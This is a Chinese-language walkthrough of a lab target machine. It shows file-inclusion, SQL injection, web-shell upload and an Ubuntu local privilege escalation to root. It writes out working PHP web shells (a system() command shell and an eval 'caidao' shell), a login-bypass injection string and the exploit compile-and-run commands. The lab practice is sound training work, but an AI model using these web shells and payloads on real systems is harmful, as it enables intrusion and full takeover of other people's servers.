靶机说明
难度中等
目标:从web应用程序获得 root权限
运行环境:靶机ip(192.168.110.127)攻击机kali(192.168.110.128)
信息收集
常规简单的端口扫描,目录扫描
漏洞挖掘
访问 80端口,打开提示是 SQL注入
简单万能密码试了一下不行,丢sqlmap也没跑出来暂时就不管他了
把上面扫出来的目录挨个打开
in.php
里面是 phpinfo()
add.php
是一个上传页面
phpmy
是 phpmyadmin登录页
test.php
是一个 测试页面,存在文件包含漏洞
没有传 file参数,经测试是 post传一个 file参数可以包含文件
就这样把扫到的文件全部下载下来了,哈哈哈
挨个查看找到了mysql的账号密码数据库名,还有一个用户
在上面找到的phpmyadmin登录数据库,可以找到最开始页面的登录账号密码
登录页可以直接传图片马 <?php system($_GET['cmd'])?>
可以正常执行,然后就是弹一个 shell出来了
这里可以直接使用著名的 Ubuntu本地提权
为了方便把提权脚本传上去,先传个菜刀马echo '<?php eval($_POST[360]);?>' >> caidao.php
脚本成功上传,编译执行,成功提权 root
chmod 777 37292.c
gcc 37292.c -o exp
./exp
总结
在回到之前网页最开始提示的 SQL注入,看了 index.php后了解了过滤规则
所以 payload可以是' or 1=1 -- \'
文件上传 + 文件包含拿shell应该是靶机拿 shell常用的方法,还是要再练习熟练拿 shell
提权的方法可以多关注配置文件、数据库连接文件、用户文件、还有就是一些已知的漏洞本地提权